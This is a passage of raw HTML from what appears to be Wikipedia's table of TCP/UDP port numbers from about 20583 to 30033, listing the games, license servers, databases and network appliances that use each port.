table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>HW Development IoT comms\n</td></tr>\n<tr>\n<td>20583</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>HW Development IoT comms\n</td></tr>\n<tr>\n<td>20595</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/0_A.D._(video_game)\" title=\"0 A.D. (video game)\">0 A.D. Empires Ascendant</a></i>\n</td></tr>\n<tr>\n<td>20808</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Ableton Link\n</td></tr>\n<tr>\n<td>21025</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Starbound Server (default), <a rel=\"nofollow\" class=\"external text\" href=\"http://playstarbound.com/\">Starbound</a>\n</td></tr>\n<tr>\n<td>21064</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default Ingres DBMS server\n</td></tr>\n<tr>\n<td>22000</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Syncthing\" title=\"Syncthing\">Syncthing</a> (default)\n</td></tr>\n<tr>\n<td>22136</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a rel=\"nofollow\" class=\"external text\" href=\"http://www.flir.com/\">FLIR Systems</a> Camera Resource Protocol\n</td></tr>\n<tr>\n<td>22222</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Davis Instruments, <a rel=\"nofollow\" class=\"external text\" href=\"http://davisnet.com/weather/products/weather_product.asp?pnum=06555\">WeatherLink IP</a>\n</td></tr>\n<tr>\n<td>23073</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Soldat_(video_game)\" title=\"Soldat (video game)\">Soldat</a> Dedicated Server\n</td></tr>\n<tr>\n<td>23399</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Skype\" title=\"Skype\">Skype</a> default protocol\n</td></tr>\n<tr>\n<td>23513</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Duke_Nukem_3D#Source_ports\" title=\"Duke Nukem 3D\"><i>Duke Nukem 3D</i> source ports</a>\n</td></tr>\n<tr>\n<td>24441</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Pyzor spam detection network\n</td></tr>\n<tr>\n<td>24444</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NetBeans\" title=\"NetBeans\">NetBeans</a> integrated development environment\n</td></tr>\n<tr>\n<td>24465</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Tonido\" title=\"Tonido\">Tonido Directory Server</a> for <a rel=\"nofollow\" class=\"external text\" href=\"http://www.tonido.com/\">Tonido</a> which is a Personal Web App and P2P platform\n</td></tr>\n<tr>\n<td>24554</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Binkp\" title=\"Binkp\">BINKP</a>, <a href=\"/wiki/Fidonet\" class=\"mw-redirect\" title=\"Fidonet\">Fidonet</a> mail transfers over <a href=\"/wiki/TCP/IP\" class=\"mw-redirect\" title=\"TCP/IP\">TCP/IP</a>\n</td></tr>\n<tr>\n<td>24800</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Synergy_(software)\" title=\"Synergy (software)\">Synergy</a>: keyboard/mouse sharing software\n</td></tr>\n<tr>\n<td>24842</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/StepMania\" title=\"StepMania\">StepMania: Online</a></i>: <i><a href=\"/wiki/Dance_Dance_Revolution\" title=\"Dance Dance Revolution\">Dance Dance Revolution</a></i> Simulator\n</td></tr>\n<tr>\n<td rowspan=\"2\">25565\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Minecraft\" title=\"Minecraft\">Minecraft</a></i> (Java Edition) multiplayer server<sup id=\"cite_ref-374\" class=\"reference\"><a href=\"#cite_note-374\">&#91;372&#93;</a></sup><sup id=\"cite_ref-Protocol_-_wiki.vg_375-0\" class=\"reference\"><a href=\"#cite_note-Protocol_-_wiki.vg-375\">&#91;373&#93;</a></sup>\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>Minecraft (Java Edition)</i> multiplayer server query<sup id=\"cite_ref-376\" class=\"reference\"><a href=\"#cite_note-376\">&#91;374&#93;</a></sup>\n</td></tr>\n<tr>\n<td>25575</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>Minecraft</i> (Java Edition) multiplayer server RCON<sup id=\"cite_ref-377\" class=\"reference\"><a href=\"#cite_note-377\">&#91;375&#93;</a></sup>\n</td></tr>\n<tr>\n<td>25600-25700</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>SamsidParty Operational Ports\n</td></tr>\n<tr>\n<td>25734-25735</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>SOLIDWORKS SolidNetworkLicense Manager<sup id=\"cite_ref-378\" class=\"reference\"><a href=\"#cite_note-378\">&#91;376&#93;</a></sup>\n</td></tr>\n<tr>\n<td>25826</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Collectd\" title=\"Collectd\">collectd</a> default port<sup id=\"cite_ref-379\" class=\"reference\"><a href=\"#cite_note-379\">&#91;377&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"3\">26000\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Id_Software\" title=\"Id Software\">id Software</a>'s <i><a href=\"/wiki/Quake_(video_game)\" title=\"Quake (video game)\">Quake</a></i> server\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/EVE_Online\" class=\"mw-redirect\" title=\"EVE Online\">EVE Online</a></i>\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Xonotic\" title=\"Xonotic\">Xonotic</a></i>, an <a href=\"/wiki/Open-source_software\" title=\"Open-source software\">open-source</a> <a href=\"/wiki/Arena_shooter\" title=\"Arena shooter\">arena shooter</a>\n</td></tr>\n<tr>\n<td>26822</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>MSI MysticLight</i>\n</td></tr>\n<tr>\n<td>26900–26901</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i>EVE Online</i>\n</td></tr>\n<tr>\n<td>26909–26911</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i>Action Tanks Online</i>\n</td></tr>\n<tr>\n<td>27000</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/PowerBuilder\" title=\"PowerBuilder\">PowerBuilder</a> <i><a href=\"/w/index.php?title=SySAM&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"SySAM (page does not exist)\">SySAM</a></i> license server\n</td></tr>\n<tr>\n<td>27000–27006</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Id_Software\" title=\"Id Software\">id Software</a>'s <i><a href=\"/wiki/QuakeWorld\" class=\"mw-redirect\" title=\"QuakeWorld\">QuakeWorld</a></i> master server\n</td></tr>\n<tr>\n<td>27000–27009</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/FlexNet_Publisher\" title=\"FlexNet Publisher\">FlexNet Publisher</a>'s License server (from the range of default ports)\n</td></tr>\n<tr>\n<td>27000–27015</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Steam_(service)\" title=\"Steam (service)\">Steam</a> (game client traffic)<sup id=\"cite_ref-steam-support-8571-GLVN-8711_380-0\" class=\"reference\"><a href=\"#cite_note-steam-support-8571-GLVN-8711-380\">&#91;378&#93;</a></sup>\n</td></tr>\n<tr>\n<td>27015</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/GoldSrc\" title=\"GoldSrc\">GoldSrc</a> and <a href=\"/wiki/Source_engine\" class=\"mw-redirect\" title=\"Source engine\">Source engine</a> dedicated server port<sup id=\"cite_ref-steam-support-8571-GLVN-8711_380-1\" class=\"reference\"><a href=\"#cite_note-steam-support-8571-GLVN-8711-380\">&#91;378&#93;</a></sup>\n</td></tr>\n<tr>\n<td>27015–27018</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Unturned\" title=\"Unturned\">Unturned</a></i>, a survival game\n</td></tr>\n<tr>\n<td rowspan=\"2\">27015–27030\n</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Steam (matchmaking and HLTV)<sup id=\"cite_ref-steam-support-8571-GLVN-8711_380-2\" class=\"reference\"><a href=\"#cite_note-steam-support-8571-GLVN-8711-380\">&#91;378&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Steam (downloads)<sup id=\"cite_ref-steam-support-8571-GLVN-8711_380-3\" class=\"reference\"><a href=\"#cite_note-steam-support-8571-GLVN-8711-380\">&#91;378&#93;</a></sup>\n</td></tr>\n<tr>\n<td>27016</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Magicka\" title=\"Magicka\">Magicka</a></i> and <a href=\"/wiki/Space_Engineers\" title=\"Space Engineers\">Space Engineers</a> server port\n</td></tr>\n<tr>\n<td>27017</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/MongoDB\" title=\"MongoDB\">MongoDB</a> daemon process (<code>mongod</code>) and routing service (<code>mongos</code>)<sup id=\"cite_ref-mongodb-docs-reference-default-mongodb-port_381-0\" class=\"reference\"><a href=\"#cite_note-mongodb-docs-reference-default-mongodb-port-381\">&#91;379&#93;</a></sup>\n</td></tr>\n<tr>\n<td>27031–27035</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Steam (In-Home Streaming)<sup id=\"cite_ref-steam-support-8571-GLVN-8711_380-4\" class=\"reference\"><a href=\"#cite_note-steam-support-8571-GLVN-8711-380\">&#91;378&#93;</a></sup>\n</td></tr>\n<tr>\n<td>27036</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Steam (In-Home Streaming)<sup id=\"cite_ref-steam-support-8571-GLVN-8711_380-5\" class=\"reference\"><a href=\"#cite_note-steam-support-8571-GLVN-8711-380\">&#91;378&#93;</a></sup>\n</td></tr>\n<tr>\n<td>27374</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Sub7\" title=\"Sub7\">Sub7</a> default.\n</td></tr>\n<tr>\n<td>27500–27900</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Id_Software\" title=\"Id Software\">id Software</a>'s <i><a href=\"/wiki/QuakeWorld\" class=\"mw-redirect\" title=\"QuakeWorld\">QuakeWorld</a></i>\n</td></tr>\n<tr>\n<td>27888</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Kaillera\" title=\"Kaillera\">Kaillera</a> server\n</td></tr>\n<tr>\n<td>27901–27910</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Id_Software\" title=\"Id Software\">id Software</a>'s <i><a href=\"/wiki/Quake_II\" title=\"Quake II\">Quake II</a></i> master server\n</td></tr>\n<tr>\n<td>27950</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/OpenArena\" title=\"OpenArena\">OpenArena</a></i> outgoing\n</td></tr>\n<tr>\n<td>27960–27969</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Activision\" title=\"Activision\">Activision</a>'s <i><a href=\"/wiki/Wolfenstein:_Enemy_Territory\" title=\"Wolfenstein: Enemy Territory\">Enemy Territory</a></i> and <a href=\"/wiki/Id_Software\" title=\"Id Software\">id Software</a>'s <i><a href=\"/wiki/Quake_III_Arena\" title=\"Quake III Arena\">Quake III Arena</a></i>, <i>Quake III</i> and <i><a href=\"/wiki/Quake_Live\" title=\"Quake Live\">Quake Live</a></i> and some ioquake3 derived games, such as <i>Urban Terror</i> (<i>OpenArena</i> incoming)\n</td></tr>\n<tr>\n<td>28000</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Siemens_Digital_Industries_Software\" title=\"Siemens Digital Industries Software\">Siemens Digital Industries Software</a> license server<sup id=\"cite_ref-IANA_2-15\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup>\n</td></tr>\n<tr>\n<td>28001</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Starsiege:_Tribes\" title=\"Starsiege: Tribes\">Starsiege: Tribes</a></i><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (June 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>28015</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Rust_(video_game)\" title=\"Rust (video game)\"><i>Rust</i> (video game)</a><sup id=\"cite_ref-382\" class=\"reference\"><a href=\"#cite_note-382\">&#91;380&#93;</a></sup>\n</td></tr>\n<tr>\n<td>28016</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i>Rust</i> (video game) <abbr title=\"remote console\">RCON</abbr><sup id=\"cite_ref-383\" class=\"reference\"><a href=\"#cite_note-383\">&#91;381&#93;</a></sup>\n</td></tr>\n<tr>\n<td>28260</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Palo Alto Networks' Panorama HA-1 backup unencrypted sync port.<sup id=\"cite_ref-PAN-OS_HALinksAndBackupLinks_26-1\" class=\"reference\"><a href=\"#cite_note-PAN-OS_HALinksAndBackupLinks-26\">&#91;26&#93;</a></sup>\n</td></tr>\n<tr>\n<td>28443</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Palo Alto Networks' Panorama-to-managed devices software updates, PAN-OS 8.0 and later.<sup id=\"cite_ref-EDU-120_10_199-1\" class=\"reference\"><a href=\"#cite_note-EDU-120_10-199\">&#91;197&#93;</a></sup>\n</td></tr>\n<tr>\n<td>28769</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Palo Alto Networks' Panorama HA unencrypted sync port.<sup id=\"cite_ref-PAN-OS_HALinksAndBackupLinks_26-2\" class=\"reference\"><a href=\"#cite_note-PAN-OS_HALinksAndBackupLinks-26\">&#91;26&#93;</a></sup>\n</td></tr>\n<tr>\n<td>28770</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Palo Alto Networks' Panorama HA-1 backup sync port.<sup id=\"cite_ref-PAN-OS_HALinksAndBackupLinks_26-3\" class=\"reference\"><a href=\"#cite_note-PAN-OS_HALinksAndBackupLinks-26\">&#91;26&#93;</a></sup>\n</td></tr>\n<tr>\n<td>28770–28771</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/w/index.php?title=AssaultCube_Reloaded&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"AssaultCube Reloaded (page does not exist)\">AssaultCube Reloaded</a></i>, a video game based upon a modification of <i><a href=\"/wiki/AssaultCube\" title=\"AssaultCube\">AssaultCube</a></i><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (June 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>28785–28786</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Cube_2:_Sauerbraten\" title=\"Cube 2: Sauerbraten\">Cube 2: Sauerbraten</a></i><sup id=\"cite_ref-Cube2Sauerbraten_384-0\" class=\"reference\"><a href=\"#cite_note-Cube2Sauerbraten-384\">&#91;382&#93;</a></sup>\n</td></tr>\n<tr>\n<td>28852</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Killing_Floor_(2009_video_game)\" class=\"mw-redirect\" title=\"Killing Floor (2009 video game)\">Killing Floor</a></i><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (June 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>28910</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Nintendo_Wi-Fi_Connection\" title=\"Nintendo Wi-Fi Connection\">Nintendo Wi-Fi Connection</a><sup id=\"cite_ref-nintendo-wfc-instruction-booklet_385-0\" class=\"reference\"><a href=\"#cite_note-nintendo-wfc-instruction-booklet-385\">&#91;383&#93;</a></sup>\n</td></tr>\n<tr>\n<td>28960</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><span class=\"citation-needed-content\" style=\"padding-left:0.1em; padding-right:0.1em; color:#595959; border:1px solid #DDD;\"><i><a href=\"/wiki/Call_of_Duty\" title=\"Call of Duty\">Call of Duty</a></i>; <i><a href=\"/wiki/Call_of_Duty:_United_Offensive\" title=\"Call of Duty: United Offensive\">Call of Duty: United Offensive</a></i>; <i><a href=\"/wiki/Call_of_Duty_2\" title=\"Call of Duty 2\">Call of Duty 2</a></i>; <i><a href=\"/wiki/Call_of_Duty_4:_Modern_Warfare\" title=\"Call of Duty 4: Modern Warfare\">Call of Duty 4: Modern Warfare</a></i></span><sup class=\"noprint Inline-Template Template-Fact\" style=\"margin-left:0.1em; white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (June 2017)\">citation needed</span></a></i>&#93;</sup> <i><a href=\"/wiki/Call_of_Duty:_World_at_War\" title=\"Call of Duty: World at War\">Call of Duty: World at War</a></i> (PC platform)<sup id=\"cite_ref-activision-kb-cod-game-ports_386-0\" class=\"reference\"><a href=\"#cite_note-activision-kb-cod-game-ports-386\">&#91;384&#93;</a></sup>\n</td></tr>\n<tr>\n<td>29000</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Perfect_World_(video_game)\" title=\"Perfect World (video game)\">Perfect World</a></i>, an adventure and fantasy <a href=\"/wiki/MMORPG\" class=\"mw-redirect\" title=\"MMORPG\">MMORPG</a><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (June 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>29070</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Jedi_Knight:_Jedi_Academy\" class=\"mw-redirect\" title=\"Jedi Knight: Jedi Academy\">Jedi Knight: Jedi Academy</a></i> by <a href=\"/wiki/Ravensoft\" class=\"mw-redirect\" title=\"Ravensoft\">Ravensoft</a><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (June 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>29900–29901</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Nintendo Wi-Fi Connection<sup id=\"cite_ref-nintendo-wfc-instruction-booklet_385-1\" class=\"reference\"><a href=\"#cite_note-nintendo-wfc-instruction-booklet-385\">&#91;383&#93;</a></sup>\n</td></tr>\n<tr>\n<td>29920</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Nintendo Wi-Fi Connection<sup id=\"cite_ref-nintendo-wfc-instruction-booklet_385-2\" class=\"reference\"><a href=\"#cite_note-nintendo-wfc-instruction-booklet-385\">&#91;383&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"3\">30000\n</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/XLink_Kai\" title=\"XLink Kai\">XLink Kai P2P</a>\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Minetest\" title=\"Minetest\">Minetest</a> server default port<sup id=\"cite_ref-minetest-setting-up-a-server_387-0\" class=\"reference\"><a href=\"#cite_note-minetest-setting-up-a-server-387\">&#91;385&#93;</a></sup>\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Foundry Virtual Tabletop server default port<sup id=\"cite_ref-Foundry_VTT_Application_Configuration_388-0\" class=\"reference\"><a href=\"#cite_note-Foundry_VTT_Application_Configuration-388\">&#91;386&#93;</a></sup>\n</td></tr>\n<tr>\n<td>30033</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" 